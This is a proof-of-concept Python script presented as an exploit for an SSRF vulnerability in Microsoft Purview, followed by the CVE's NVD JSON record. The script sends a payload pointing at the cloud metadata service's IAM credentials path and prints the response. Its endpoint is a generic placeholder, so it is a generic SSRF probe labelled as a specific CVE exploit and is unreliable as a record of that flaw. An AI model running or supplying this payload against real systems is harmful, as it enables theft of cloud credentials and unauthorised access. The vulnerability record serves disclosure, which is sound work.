CVE-2026-26138

import requests # Exploit Title: Microsoft Purview SSRF (CVE-2026-26138) # Description: POC to demonstrate SSRF by targeting internal metadata service. # Usage: python poc.py <target_host> target_host = "http://<target-host>/api/endpoint" # Internal target to check (e.g., AWS Metadata) ssrf_payload = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" headers = { "Content-Type": "application/json", "User-Agent": "CVE-2026-26138-Scanner" } # Sending malicious payload data = {"url": ssrf_payload} try: response = requests.post(target_host, json=data, headers=headers, timeout=10) if response.status_code == 200: print("[+] Potential SSRF vulnerability detected!") print("[+] Response:") print(response.text[:500]) else: print(f"[-] Server returned status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")

{"cve": {"id": "CVE-2026-26138", "sourceIdentifier": "[email protected]", "published": "2026-03-19T21:17:08.217", "lastModified": "2026-03-24T17:15:19.500", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["exclusively-hosted-service"]}], "descriptions": [{"lang": "en", "value": "Server-side request forgery (ssrf) in Microsoft Purview allows an unauthorized attacker to elevate privileges over a network."}, {"lang": "es", "value": "Falsificación de petición del lado del servidor (SSRF) en Microsoft Purview permite a un atacante no autorizado elevar privilegios a través de una red."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:purview:-:*:*:*:*:*:*:*", "matchCriteriaId": "7387D350-6697-4865-BF5B-1D36F1B1A8DF"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26138", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}